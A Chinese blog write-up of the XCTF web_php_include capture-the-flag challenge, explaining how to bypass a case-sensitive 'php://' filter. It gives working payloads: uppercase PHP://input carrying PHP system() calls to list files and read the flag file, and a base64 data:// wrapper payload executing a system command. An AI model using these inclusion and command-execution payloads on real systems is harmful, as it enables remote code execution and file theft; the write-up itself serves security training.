攻防世界web_php_include

看到题目分析一波什么意思,首先前面Get hello这个参数没用。

要get page这个参数,然后循环匹配php://,接着把“php://”转换为“ ”。

ps.strstr返回一个指针,指向string2在string1中首次出现的位置。也就是循环。

也就是说没办法用php://伪协议了。

有两种方法。

第一:大写绕过

因为我查到strstr()这个函数是区分大小写的,大写PHP://就可以绕过再用input输入要执行的命令就行了。

ps.php://input用于执行php代码

page=PHP://input

这个命令可以再url上直接输入,也可以在抓包后输入。

先查看文件目录

<?php system("ls");?>

当然dir也可以。

发现文件,再显示文件内容。

<?php system("cat fla4gisisish3r3.php");?>

第二种用data伪协议来做

常用的有以下

?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?file=data:text/plain,<?php phpinfo()?> 

 

 后面加上<?php system("dir");?>的base64编码。

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

接下来就是把换成<?php system("cat fla4gisisish3r3.php");?>的编码就行了。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值